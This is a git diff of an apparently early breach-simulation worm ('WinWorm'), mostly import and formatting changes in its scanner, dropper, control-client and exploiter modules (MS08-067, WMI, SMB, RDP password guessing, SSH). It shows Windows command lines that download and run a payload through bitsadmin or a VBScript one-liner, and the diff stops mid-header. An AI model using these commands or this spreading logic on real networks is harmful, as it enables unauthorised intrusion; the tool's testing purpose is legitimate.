diff --git a/.idea/.name b/.idea/.name new file mode 100644 index 000000000..50fede467 --- /dev/null +++ b/.idea/.name @@ -0,0 +1 @@ +monkey \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 000000000..97626ba45 --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 000000000..9901744e9 --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 000000000..09944b1a5 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/monkey.iml b/.idea/monkey.iml new file mode 100644 index 000000000..e98082abe --- /dev/null +++ b/.idea/monkey.iml @@ -0,0 +1,12 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 000000000..94a25f7f4 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/workspace.xml b/.idea/workspace.xml new file mode 100644 index 000000000..788ef506c --- /dev/null +++ b/.idea/workspace.xml @@ -0,0 +1,954 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1448456974376 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index e7d1bc61e..504172246 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -1,13 +1,12 @@ - import os import sys -import ntpath -from network.range import ClassCRange, RelativeRange, FixedRange +from network.range import FixedRange from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger from abc import ABCMeta import uuid import types + __author__ = 'itamar' GUID = str(uuid.getnode()) @@ -78,7 +77,7 @@ class Configuration(object): ########################### ### logging config - ########################### + ########################### use_file_logging = True dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") if sys.platform == "win32" else '/tmp/user-1562' diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index 103d3159a..1a013a38c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -1,13 +1,11 @@ - import json -import random import logging import requests import platform import monkeyfs from network.info import local_ips -from socket import gethostname, gethostbyname_ex -from config import WormConfiguration, Configuration, GUID +from socket import gethostname +from config import WormConfiguration, GUID from transport.tcp import TcpProxy from transport.http import HTTPConnectProxy import tunnel @@ -19,6 +17,7 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 + class ControlClient(object): proxies = {} @@ -32,13 +31,12 @@ class ControlClient(object): WormConfiguration.current_server = server - monkey = { 'guid': GUID, - 'hostname' : hostname, - 'ip_addresses' : local_ips(), - 'description' : " ".join(platform.uname()), - 'config' : WormConfiguration.as_dict(), - 'parent' : parent, - } + monkey = {'guid': GUID, + 'hostname': hostname, + 'ip_addresses': local_ips(), + 'description': " ".join(platform.uname()), + 'config': WormConfiguration.as_dict(), + 'parent': parent} if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') @@ -75,11 +73,11 @@ class ControlClient(object): monkey = {} if ControlClient.proxies: monkey['tunnel'] = ControlClient.proxies.get('https') - reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - data=json.dumps(monkey), - headers={'content-type' : 'application/json'}, - verify=False, - proxies=ControlClient.proxies) + reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + data=json.dumps(monkey), + headers={'content-type' : 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -91,12 +89,11 @@ class ControlClient(object): return try: telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data} - reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), - data=json.dumps(telemetry), - headers={'content-type' : 'application/json'}, - verify=False, - proxies=ControlClient.proxies) - + reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), + data=json.dumps(telemetry), + headers={'content-type' : 'application/json'}, + verify=False, + proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -106,9 +103,9 @@ class ControlClient(object): if not WormConfiguration.current_server: return try: - reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - verify=False, - proxies=ControlClient.proxies) + reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + verify=False, + proxies=ControlClient.proxies) except Exception, exc: LOG.warn("Error connecting to control server %s: %s", @@ -141,7 +138,8 @@ class ControlClient(object): if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): return dest_file else: - download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename), + download = requests.get("https://%s/api/monkey/download/%s" % + (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) @@ -159,7 +157,6 @@ class ControlClient(object): return None - @staticmethod def create_control_tunnel(): if not WormConfiguration.current_server: @@ -178,6 +175,3 @@ class ControlClient(object): target_addr, target_port = None, None return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) - - - diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 20997cf8e..4da753c72 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -1,4 +1,3 @@ - import os import sys import time @@ -8,7 +7,6 @@ import pprint import logging import subprocess from ctypes import c_char_p -from control import ControlClient from model import MONKEY_CMDLINE from config import WormConfiguration @@ -26,14 +24,7 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): - if args: - dest_path = os.path.expandvars(args[0]) - else: - dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \ - else WormConfiguration.dropper_target_path_linux) - self._monkey_args = args[1:] - self._config = {'source_path': os.path.abspath(sys.argv[0]), 'destination_path': args[0]} @@ -112,8 +103,7 @@ class MonkeyDrops(object): try: os.remove(self._config['source_path']) except Exception, exc: - LOG.debug("Error removing source file '%s': %s", - self._config['source_path'], exc) + LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) # mark the file for removal on next boot dropper_source_path_ctypes = c_char_p(self._config['source_path']) diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 7e820e145..4f1e70cd9 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -1,20 +1,20 @@ from abc import ABCMeta, abstractmethod +from win_ms08_067 import Ms08_067_Exploiter +from wmiexec import WmiExploiter +from smbexec import SmbExploiter +from rdpgrinder import RdpExploiter +from sshexec import SSHExploiter __author__ = 'itamar' + class HostExploiter(object): __metaclass__ = ABCMeta _target_os_type = [] def is_os_supported(self, host): - return host.os.get('type') in self._target_os_type + return host.os.get('type') in self._target_os_type @abstractmethod def exploit_host(self, host, src_path=None): raise NotImplementedError() - -from win_ms08_067 import Ms08_067_Exploiter -from wmiexec import WmiExploiter -from smbexec import SmbExploiter -from rdpgrinder import RdpExploiter -from sshexec import SSHExploiter \ No newline at end of file diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 05057db67..c0db62bd7 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -1,7 +1,5 @@ import time -import socket import threading -import cffi import os.path import twisted.python.log import rdpy.core.log as rdpy_log @@ -9,12 +7,12 @@ from rdpy.protocol.rdp import rdp from twisted.internet import reactor from rdpy.core.error import RDPSecurityNegoFail from logging import getLogger -from exploit import HostExploiter -from exploit.tools import HTTPTools -from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from model.host import VictimHost -from network.tools import check_port_tcp -from exploit.tools import get_target_monkey +from chaos_monkey.exploit import HostExploiter +from chaos_monkey.exploit.tools import HTTPTools +from chaos_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS +from chaos_monkey.model.host import VictimHost +from chaos_monkey.network.tools import check_port_tcp +from chaos_monkey.exploit.tools import get_target_monkey __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -24,6 +22,7 @@ DOWNLOAD_TIMEOUT = 60 RDP_PORT = 3389 LOG = getLogger(__name__) + def twisted_log_func(*message, **kw): if kw.has_key('isError') and kw['isError']: error_msg = 'Unknown' @@ -33,6 +32,7 @@ def twisted_log_func(*message, **kw): else: LOG.debug("Message from twisted library: %s" % (str(message),)) + def rdpy_log_func(message): LOG.debug("Message from rdpy library: %s" % (message,)) @@ -44,26 +44,31 @@ rdpy_log.log = rdpy_log_func global g_reactor g_reactor = threading.Thread(target=reactor.run, args=(False,)) + class ScanCodeEvent(object): def __init__(self, code, is_pressed=False, is_special=False): self.code = code self.is_pressed = is_pressed self.is_special = is_special + class CharEvent(object): def __init__(self, char, is_pressed=False): self.char = char self.is_pressed = is_pressed + class SleepEvent(object): def __init__(self, interval): self.interval= interval + class WaitUpdateEvent(object): def __init__(self, updates=1): self.updates = updates pass + def str_to_keys(orig_str): result = [] for c in orig_str: @@ -72,6 +77,7 @@ def str_to_keys(orig_str): result.append(WaitUpdateEvent()) return result + class KeyPressRDPClient(rdp.RDPClientObserver): def __init__(self, controller, keys, width, height, addr): super(KeyPressRDPClient, self).__init__(controller) @@ -86,6 +92,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver): self._last_update = 0 self.closed = False self.success = False + self._wait_for_update = None def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): update_time = time.time() @@ -129,7 +136,6 @@ class KeyPressRDPClient(rdp.RDPClientObserver): else: self._update_lock.release() time.sleep(KEYS_SENDER_SLEEP) - def onReady(self): pass @@ -175,7 +181,7 @@ class CMDClientFactory(rdp.ClientFactory): @return: RDPClientQt """ - #create client observer + # create client observer self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) controller.setUsername(self._username) @@ -190,10 +196,10 @@ class CMDClientFactory(rdp.ClientFactory): return self._client def clientConnectionLost(self, connector, reason): - #try reconnect with basic RDP security + # try reconnect with basic RDP security if reason.type == RDPSecurityNegoFail and self._nego: LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port)) - #stop nego + # stop nego self._nego = False self._security = rdp.SecurityLevel.RDP_LEVEL_RDP connector.connect() @@ -208,6 +214,7 @@ class CMDClientFactory(rdp.ClientFactory): self.success = False self.done_event.set() + class RdpExploiter(HostExploiter): _target_os_type = ['windows'] @@ -267,10 +274,8 @@ class RdpExploiter(HostExploiter): for password in passwords: try: # run command using rdp. - - LOG.info("Trying rdp logging into victim %r with user" - " %s and password '%s'", host, - self._config.psexec_user, password) + LOG.info("Trying rdp logging into victim %r with user %s and password '%s'", + host, self._config.psexec_user, password) client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) @@ -302,4 +307,4 @@ class RdpExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), host) - return True \ No newline at end of file + return True diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 6146d21cc..5f7a4315e 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,11 +1,11 @@ import sys from logging import getLogger -from model.host import VictimHost -from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED -from exploit import HostExploiter -from network.tools import check_port_tcp -from exploit.tools import SmbTools, get_target_monkey -from network import SMBFinger +from chaos_monkey.model.host import VictimHost +from chaos_monkey.model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED +from chaos_monkey.exploit import HostExploiter +from chaos_monkey.network.tools import check_port_tcp +from chaos_monkey.exploit.tools import SmbTools, get_target_monkey +from chaos_monkey.network import SMBFinger try: from impacket import smb @@ -25,6 +25,7 @@ except ImportError, exc: LOG = getLogger(__name__) + class SmbExploiter(HostExploiter): _target_os_type = ['windows'] @@ -142,7 +143,7 @@ class SmbExploiter(HostExploiter): try: scmr.hRStartServiceW(scmr_rpc, service) except: - pass + pass scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index bb841e3b5..8296831cb 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -1,11 +1,10 @@ -import os import paramiko -import monkeyfs +from chaos_monkey import monkeyfs import logging -from exploit import HostExploiter -from model import MONKEY_ARG -from exploit.tools import get_target_monkey -from network.tools import check_port_tcp +from chaos_monkey.exploit import HostExploiter +from chaos_monkey.model import MONKEY_ARG +from chaos_monkey.exploit.tools import get_target_monkey +from chaos_monkey.network.tools import check_port_tcp import time __author__ = 'hoffer' @@ -14,6 +13,7 @@ LOG = logging.getLogger(__name__) SSH_PORT = 22 TRANSFER_UPDATE_RATE = 15 + class SSHExploiter(HostExploiter): _target_os_type = ['linux', None] @@ -32,7 +32,7 @@ class SSHExploiter(HostExploiter): port = SSH_PORT # if ssh banner found on different port, use that port. - for servkey,servdata in host.services.items(): + for servkey, servdata in host.services.items(): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-','')) @@ -124,11 +124,11 @@ class SSHExploiter(HostExploiter): ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, host, cmdline) + self._config.dropper_target_path_linux, host, cmdline) ssh.close() return True except Exception, exc: LOG.debug("Error running monkey on victim %r: (%s)", host, exc) - return False \ No newline at end of file + return False diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index a02f4bc08..f467c4414 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -1,17 +1,15 @@ - import os import ntpath import pprint import logging import os.path -import socket import urllib -import monkeyfs +from chaos_monkey import monkeyfs from difflib import get_close_matches -from network import local_ips -from transport import HTTPServer -from network.info import get_free_tcp_port -from network.firewall import app as firewall +from chaos_monkey.network import local_ips +from chaos_monkey.transport import HTTPServer +from chaos_monkey.network.info import get_free_tcp_port +from chaos_monkey.network.firewall import app as firewall from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.smbconnection import SMBConnection, SMB_DIALECT @@ -25,6 +23,7 @@ __author__ = 'itamar' LOG = logging.getLogger(__name__) + class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 2235c02dc..6e79a643f 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -11,12 +11,12 @@ import time import socket from enum import IntEnum from logging import getLogger -from model.host import VictimHost -from model import DROPPER_CMDLINE, MONKEY_CMDLINE -from exploit import HostExploiter -from exploit.tools import SmbTools, get_target_monkey -from network.tools import check_port_tcp -from network import SMBFinger +from chaos_monkey.model.host import VictimHost +from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE +from chaos_monkey.exploit import HostExploiter +from chaos_monkey.exploit.tools import SmbTools, get_target_monkey +from chaos_monkey.network.tools import check_port_tcp +from chaos_monkey.network import SMBFinger try: from impacket import smb @@ -174,11 +174,10 @@ class Ms08_067_Exploiter(HostExploiter): def is_os_supported(self, host): if host.os.get('type') in self._target_os_type and \ - host.os.get('version') in self._windows_versions.keys(): + host.os.get('version') in self._windows_versions.keys(): return True - if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \ - not host.os.get('version')): + if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): is_smb_open,_ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() @@ -260,8 +259,10 @@ class Ms08_067_Exploiter(HostExploiter): LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) return False finally: - try: sock.close() - except: pass + try: + sock.close() + except: + pass LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, host, cmdline) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 60260c7b3..b8a9512e4 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -1,15 +1,15 @@ - import socket import ntpath import logging import traceback -from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP -from model.host import VictimHost -from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey +from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE +from chaos_monkey.model.host import VictimHost +from chaos_monkey.exploit import HostExploiter +from chaos_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey LOG = logging.getLogger(__name__) + class WmiExploiter(HostExploiter): _target_os_type = ['windows'] @@ -68,7 +68,7 @@ class WmiExploiter(HostExploiter): LOG.debug("Skipping %r - already infected", host) return False - #copy the file remotely using SMB + # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, self._config.psexec_user, password, @@ -76,8 +76,8 @@ class WmiExploiter(HostExploiter): self._config.dropper_target_path) if not remote_full_path: - wmi_connection.close() - return False + wmi_connection.close() + return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 18bbd8b43..e24ead2fe 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -1,3 +1,5 @@ +from host import VictimHost + __author__ = 'itamar' MONKEY_ARG = "m0nk3y" @@ -10,5 +12,3 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' - -from host import VictimHost \ No newline at end of file diff --git a/chaos_monkey/model/host.py b/chaos_monkey/model/host.py index 34ffeb69d..efe12d7cf 100644 --- a/chaos_monkey/model/host.py +++ b/chaos_monkey/model/host.py @@ -1,5 +1,6 @@ __author__ = 'itamar' + class VictimHost(object): def __init__(self, ip_addr): self.ip_addr = ip_addr diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index 3dbdbe5b8..d3e8707b1 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -2,11 +2,10 @@ import sys import os import time import logging -import platform from system_singleton import SystemSingleton from network.firewall import app as firewall from control import ControlClient -from config import WormConfiguration, EXTERNAL_CONFIG_FILE +from config import WormConfiguration from network.network_scanner import NetworkScanner import tunnel import argparse @@ -17,14 +16,6 @@ __author__ = 'itamar' LOG = logging.getLogger(__name__) -# TODO: -# 1. Remote dating of copied file -# 2. OS Detection prior to exploit -# 3. Exploit using token credentials -# 4. OS Support for exploitation modules (win / linux specific) -# 5. Linux portability -# 6. Clear eventlog after exploitation -# 7. Add colors to logger class ChaosMonkey(object): def __init__(self, args): @@ -35,6 +26,10 @@ class ChaosMonkey(object): self._parent = None self._default_tunnel = None self._args = args + self._network = None + self._dropper_path = None + self._exploiters = None + self._fingerprint = None def initialize(self): LOG.info("WinWorm is initializing...") @@ -53,7 +48,6 @@ class ChaosMonkey(object): self._network = NetworkScanner() self._dropper_path = sys.argv[0] - def start(self): LOG.info("WinWorm is running...") @@ -97,11 +91,9 @@ class ChaosMonkey(object): continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: - LOG.debug("%r - exploitation failed before, trying again", - machine) + LOG.debug("%r - exploitation failed before, trying again", machine) else: - LOG.debug("Skipping %r - exploitation failed before", - machine) + LOG.debug("Skipping %r - exploitation failed before", machine) continue successful_exploiter = None @@ -147,7 +139,6 @@ class ChaosMonkey(object): else: self._fail_exploitation_machines.add(machine) - time.sleep(WormConfiguration.timeout_between_iterations) if self._keep_running and WormConfiguration.alive: diff --git a/chaos_monkey/monkeyfs.py b/chaos_monkey/monkeyfs.py index 13ab3e92e..5e10688bf 100644 --- a/chaos_monkey/monkeyfs.py +++ b/chaos_monkey/monkeyfs.py @@ -7,10 +7,11 @@ MONKEYFS_PREFIX = 'monkeyfs://' open_orig = open -class VirtualFile(BytesIO): - _vfs = {} #virtual File-System - def __init__(self, name, mode = 'r', buffering = None): +class VirtualFile(BytesIO): + _vfs = {} # virtual File-System + + def __init__(self, name, mode='r', buffering=None): if not name.startswith(MONKEYFS_PREFIX): name = MONKEYFS_PREFIX + name self.name = name @@ -32,23 +33,27 @@ class VirtualFile(BytesIO): def isfile(path): return VirtualFile._vfs.has_key(path) + def getsize(path): if path.startswith(MONKEYFS_PREFIX): return VirtualFile.getsize(path) else: return os.stat(path).st_size + def isfile(path): if path.startswith(MONKEYFS_PREFIX): return VirtualFile.isfile(path) else: return os.path.isfile(path) + def virtual_path(name): return "%s%s" % (MONKEYFS_PREFIX, name) + def open(name, mode='r', buffering=-1): - #use normal open for regular paths, and our "virtual" open for monkeyfs:// paths + # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths if name.startswith(MONKEYFS_PREFIX): return VirtualFile(name, mode, buffering) else: diff --git a/chaos_monkey/network/__init__.py b/chaos_monkey/network/__init__.py index c0d911bdf..6ea3e7504 100644 --- a/chaos_monkey/network/__init__.py +++ b/chaos_monkey/network/__init__.py @@ -1,9 +1,14 @@ - from abc import ABCMeta, abstractmethod -import socket +from ping_scanner import PingScanner +from tcp_scanner import TcpScanner +from smbfinger import SMBFinger +from sshfinger import SSHFinger +from info import local_ips +from info import get_free_tcp_port __author__ = 'itamar' + class HostScanner(object): __metaclass__ = ABCMeta @@ -11,17 +16,10 @@ class HostScanner(object): def is_host_alive(self, host): raise NotImplementedError() + class HostFinger(object): __metaclass__ = ABCMeta @abstractmethod def get_host_fingerprint(self, host): raise NotImplementedError() - - -from ping_scanner import PingScanner -from tcp_scanner import TcpScanner -from smbfinger import SMBFinger -from sshfinger import SSHFinger -from info import local_ips -from info import get_free_tcp_port \ No newline at end of file diff --git a/chaos_monkey/network/firewall.py b/chaos_monkey/network/firewall.py index 003da8613..21c05203b 100644 --- a/chaos_monkey/network/firewall.py +++ b/chaos_monkey/network/firewall.py @@ -2,6 +2,7 @@ import subprocess import sys import platform + class FirewallApp(object): def is_enabled(self, **kwargs): return False @@ -24,8 +25,10 @@ class FirewallApp(object): def close(self): return + def _run_netsh_cmd(command, args): - cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"'%(key,value) for key,value in args.items() if value])), stdout=subprocess.PIPE) + cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in args.items() + if value])), stdout=subprocess.PIPE) return cmd.stdout.read().strip().lower().endswith('ok.') @@ -76,14 +79,14 @@ class WinAdvFirewall(FirewallApp): return None def listen_allowed(self, **kwargs): - if False == self.is_enabled(): + if not self.is_enabled(): return True for rule in self._rules.values(): if rule.get('program') == sys.executable and \ - 'in' == rule.get('dir') and \ - 'allow' == rule.get('action') and \ - 4 == len(rule.keys()): + 'in' == rule.get('dir') and \ + 'allow' == rule.get('action') and \ + 4 == len(rule.keys()): return True return False @@ -144,12 +147,11 @@ class WinFirewall(FirewallApp): return None def listen_allowed(self, **kwargs): - if False == self.is_enabled(): + if not self.is_enabled(): return True for rule in self._rules.values(): - if rule.get('program') == sys.executable and \ - 'ENABLE' == rule.get('mode'): + if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'): return True return False @@ -170,4 +172,4 @@ if sys.platform == "win32": else: app = WinFirewall() else: - app = FirewallApp() \ No newline at end of file + app = FirewallApp() diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py index 5ec17cc77..7de568b48 100644 --- a/chaos_monkey/network/info.py +++ b/chaos_monkey/network/info.py @@ -14,6 +14,7 @@ if sys.platform == "win32": else: import fcntl + def local_ips(): result = [] try: @@ -39,10 +40,11 @@ else: addr = socket.inet_ntoa(namestr[i+20:i+24]) if not addr.startswith('127'): result.append(addr) - #name of interface is (namestr[i:i+16].split('\0', 1)[0] + # name of interface is (namestr[i:i+16].split('\0', 1)[0] finally: return result + def get_free_tcp_port(min_range=1000, max_range=65535): start_range = min(1, min_range) max_range = min(65535, max_range) @@ -52,7 +54,7 @@ def get_free_tcp_port(min_range=1000, max_range=65535): for i in range(min_range, max_range): port = randint(start_range, max_range) - if not port in in_use: + if port not in in_use: return port - return None \ No newline at end of file + return None diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py index 2b0f9cdb5..516502432 100644 --- a/chaos_monkey/network/network_scanner.py +++ b/chaos_monkey/network/network_scanner.py @@ -1,11 +1,9 @@ - import time -import socket import logging -from network import HostScanner -from config import WormConfiguration +from . import HostScanner +from chaos_monkey.config import WormConfiguration from info import local_ips -from network.range import * +from range import * __author__ = 'itamar' diff --git a/chaos_monkey/network/ping_scanner.py b/chaos_monkey/network/ping_scanner.py index f4fdac8e9..8d43ac475 100644 --- a/chaos_monkey/network/ping_scanner.py +++ b/chaos_monkey/network/ping_scanner.py @@ -2,8 +2,8 @@ import os import sys import subprocess import logging -from network import HostScanner, HostFinger -from model.host import VictimHost +from . import HostScanner, HostFinger +from chaos_monkey.model.host import VictimHost import re __author__ = 'itamar' @@ -16,6 +16,7 @@ WINDOWS_TTL = 128 LOG = logging.getLogger(__name__) + class PingScanner(HostScanner, HostFinger): def __init__(self): self._config = __import__('config').WormConfiguration @@ -27,7 +28,7 @@ class PingScanner(HostScanner, HostFinger): timeout = self._config.ping_scan_timeout if not "win32" == sys.platform: - timeout = timeout / 1000 + timeout /= 1000 return 0 == subprocess.call(["ping", PING_COUNT_FLAG, "1", @@ -41,15 +42,15 @@ class PingScanner(HostScanner, HostFinger): timeout = self._config.ping_scan_timeout if not "win32" == sys.platform: - timeout = timeout / 1000 + timeout /= 1000 - sub_proc = subprocess.Popen(["ping", - PING_COUNT_FLAG, - "1", - PING_TIMEOUT_FLAG, - str(timeout), host.ip_addr], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE) + sub_proc = subprocess.Popen(["ping", + PING_COUNT_FLAG, + "1", + PING_TIMEOUT_FLAG, + str(timeout), host.ip_addr], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE) output = " ".join(sub_proc.communicate()) regex_result = self._ttl_regex.search(output) diff --git 